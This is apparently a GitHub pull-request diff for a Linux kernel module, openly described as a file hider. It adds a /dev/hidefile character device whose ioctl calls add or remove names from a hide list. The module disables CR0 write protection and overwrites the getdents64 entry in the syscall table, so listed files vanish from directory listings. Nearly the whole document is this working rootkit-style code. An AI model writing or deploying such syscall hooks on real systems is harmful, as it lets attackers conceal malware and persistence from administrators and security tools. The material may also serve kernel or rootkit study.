Skip to content
Open
1 change: 1 addition & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
# CONFIG_MODULE_SIG=n

obj-m += idanm.o
idanm-objs := src/idanm.o src/driver.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
Expand Down
145 changes: 145 additions & 0 deletions src/driver.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
#include <linux/kernel.h> /* printk */
#include <linux/uaccess.h> /* strncpy_from_user, strnlen_user */
#include <linux/slab.h> /* kmalloc, kfree */
#include "driver.h" /* HIDEFILE_MAJOR, MAX_HIDEFILE_MINOR, hidefile_operation, hidefile_device_data */
#include "idanm.h" /* add_file_to_hide, remove_file_from_list, MAX_DIRENT_NAME_LEN */

/* Global variables */
struct hidefile_device_data *device = NULL;
static struct class *hidefile_class = NULL;

static int hidefile_open(struct inode *inode, struct file *file)
{
return 0;
}

static ssize_t hidefile_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
return 0;
}

static ssize_t hidefile_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
return 0;
}

static int hidefile_release(struct inode *inode, struct file *file)
{
file->private_data = NULL;
return 0;
}

static long hidefile_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct hidefile_device_data *d_data;
char *filename;

pr_info("Idan's module got ioctl command");

d_data = (struct hidefile_device_data *)file->private_data;
switch (cmd)
{
case HIDEFILE_OP_ADD:
filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL);
if (!filename)
{
pr_err("Idan's module failed to allocate filename");
return -ENOMEM;
}
if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0)
{
pr_err("Idan's module failed to copy from user");
kfree(filename);
return -EFAULT;
}
add_file_to_hide(filename);
break;
case HIDEFILE_OP_REMOVE:
filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL);
if (!filename)
{
pr_err("Idan's module failed to allocate filename");
return -ENOMEM;
}
if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0)
{
pr_err("Idan's module failed to copy from user");
kfree(filename);
return -EFAULT;
}
remove_file_from_list(filename);
break;
default:
return -EINVAL;
}

return 0;
}

const struct file_operations hidefile_ops = {
.owner = THIS_MODULE,
.open = hidefile_open,
.read = hidefile_read,
.write = hidefile_write,
.release = hidefile_release,
.unlocked_ioctl = hidefile_ioctl};

int init_driver(void)
{
int err = 0;
void *device_ptr = NULL;

err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile_driver");

if (err < 0)
{
pr_err("Idan's module failed to register a major number");
return err;
}

device = kmalloc(sizeof(struct hidefile_device_data), GFP_KERNEL);
if (!device)
{
pr_err("Idan's module failed to allocate device data");
unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR);
return -ENOMEM;
}

cdev_init(&device->cdev, &hidefile_ops);
err = cdev_add(&device->cdev, MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR);

if (err < 0)
{
pr_err("Idan's module failed to add a character device");
kfree(device);
unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR);
return err;
}

hidefile_class = class_create(THIS_MODULE, "hidefile_class");

device_ptr = device_create(hidefile_class, NULL, MKDEV(HIDEFILE_MAJOR, 0), NULL, "hidefile");
if (IS_ERR(device_ptr))
{
pr_err("Idan's module failed to create a device");
class_unregister(hidefile_class);
class_destroy(hidefile_class);
cdev_del(&device->cdev);
kfree(device);
unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR);
return -ENOMEM;
}

return 0;
}

void cleanup_driver(void)
{
device_destroy(hidefile_class, MKDEV(HIDEFILE_MAJOR, 0));
class_unregister(hidefile_class);
class_destroy(hidefile_class);
cdev_del(&device->cdev);

kfree(device);
unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR);
}
26 changes: 26 additions & 0 deletions src/driver.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
#ifndef __IDANM_DRIVER_H__
#define __IDANM_DRIVER_H__

#include <linux/fs.h>
#include <linux/cdev.h>

#define HIDEFILE_MAJOR 42
/* only one device */
#define MAX_HIDEFILE_MINOR 1

enum hidefile_operation
{
HIDEFILE_OP_ADD,
HIDEFILE_OP_REMOVE
};

struct hidefile_device_data
{
struct cdev cdev;
};

/* Function prototypes */
int init_driver(void);
void cleanup_driver(void);

#endif /* __IDANM_DRIVER_H__ */
110 changes: 99 additions & 11 deletions idanm.c → src/idanm.c
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,12 @@
#include <linux/uaccess.h> /* copy_from_user, copy_to_user */
#include <linux/string.h> /* strcmp */

/* Macros */
#define FILE_TO_HIDE "hideme"
#define MAX_DIRENT_NAME_LEN 256
#include "idanm.h" /* MAX_DIRENT_NAME_LEN, __force_order, orig_getdents64, sys_call_table_ptr, getdents64_t, getdents64_regs_t */
#include "driver.h" /* init_driver, cleanup_driver */

/* Module information */
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Idan");
MODULE_AUTHOR("Idan Carlebach <[email protected]>");
MODULE_DESCRIPTION("A simple file hider.");
MODULE_VERSION("0.01");

Expand All @@ -26,6 +25,7 @@ typedef asmlinkage int (*getdents64_regs_t)(const struct pt_regs *regs);
/* Global variables */
extern unsigned long __force_order;
static asmlinkage getdents64_t orig_getdents64;
struct linked_node *dir_list = NULL, *dir_list_tail = NULL;

struct filtered_dirent
{
Expand All @@ -49,7 +49,82 @@ static inline void one_wp(void)
write_forced_cr0(read_cr0() | X86_CR0_WP);
}

static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes, const char *filter) // the bytes is the size of the buffer
void add_file_to_hide(const char *name)
{
struct linked_node *node;
char *new_name;

node = kmalloc(sizeof(struct linked_node), GFP_KERNEL);
if (!node)
{
pr_err("Idan's module failed to allocate memory for a new node");
return;
}
new_name = kmalloc(strlen(name) + 1, GFP_KERNEL); // +1 for the null-terminator
if (!new_name)
{
pr_err("Idan's module failed to allocate memory for a new name");
kfree(node);
return;
}

strcpy(new_name, name);
kfree(name);
node->name = new_name;
node->next = NULL;

if (!dir_list)
{
dir_list = node;
}
else
{
dir_list_tail->next = node;
}

dir_list_tail = node;

return;
}

void remove_file_from_list(const char *name)
{
struct linked_node *node = dir_list, *prev = NULL;
while (!!node)
{
if (!strcmp(node->name, name))
{
if (prev)
{
prev->next = node->next;
}
else
{
dir_list = node->next;
}
kfree(node->name);
kfree(node);
return;
}
prev = node;
node = node->next;
}

return;
}

static int is_file_in_list(const char *name)
{
struct linked_node *node;
for (node = dir_list; node; node = node->next)
{
if (strcmp(node->name, name) == 0)
return 1;
}
return 0;
}

static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes) // the bytes is the size of the buffer
{
char *kbuffer = (char *)kmalloc(bytes, GFP_KERNEL);
char *filtered_buffer = (char *)kmalloc(bytes, GFP_KERNEL);
Expand Down Expand Up @@ -91,7 +166,7 @@ static struct filtered_dirent filter_file_from_getdents(char __user *buffer, uns
fid.buffer = NULL;
return fid;
}
if (strcmp(dp->d_name, filter) != 0)
if (!is_file_in_list(dp->d_name))
{
memmove((filtered_buffer + fid.size), (char *)dp, dp->d_reclen);

Expand All @@ -114,7 +189,7 @@ static asmlinkage int modified_getdents64(const struct pt_regs *regs)
if (bytes <= 0)
return bytes; // error or empty

fid = filter_file_from_getdents((char *)dirent, bytes, FILE_TO_HIDE);
fid = filter_file_from_getdents((char *)dirent, bytes);
if (fid.buffer)
{
if (fid.size != 0 && copy_to_user(dirent, fid.buffer, fid.size) != 0)
Expand Down Expand Up @@ -154,14 +229,22 @@ static int __init lkm_example_init(void)
if (!sys_call_table)
{
pr_err("Idan's kernel module didn't find the sys call table");
EXIT_CODE = 1;
EXIT_CODE = -EFAULT;
goto cleanup;
}

EXIT_CODE = init_driver();
if (EXIT_CODE != 0)
{
pr_err("Coudln't initialize the driver");
goto cleanup;
}

orig_getdents64 = (getdents64_t)sys_call_table[__NR_getdents64];
zero_wp();
sys_call_table[__NR_getdents64] = (sys_call_ptr_t)modified_getdents64;
one_wp();

pr_info("Idan's kernel successfully overridden the getdents64 function!!");

goto cleanup;
Expand All @@ -185,9 +268,14 @@ static void __exit lkm_example_exit(void)
return;
}

zero_wp();
sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64;
one_wp();
cleanup_driver();

if (orig_getdents64)
{
zero_wp();
sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64;
one_wp();
}

pr_info("Idan's kernel module successfully unloaded!");
}
Expand Down
17 changes: 17 additions & 0 deletions src/idanm.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#ifndef __IDANM__IDANM_H__
#define __IDANM__IDANM_H__

/* Macros */
#define MAX_DIRENT_NAME_LEN 256

struct linked_node
{
const char *name;
struct linked_node *next;
};

/* Function prototypes */
void add_file_to_hide(const char *name);
void remove_file_from_list(const char *name);

#endif /* __IDANM__IDANM_H__ */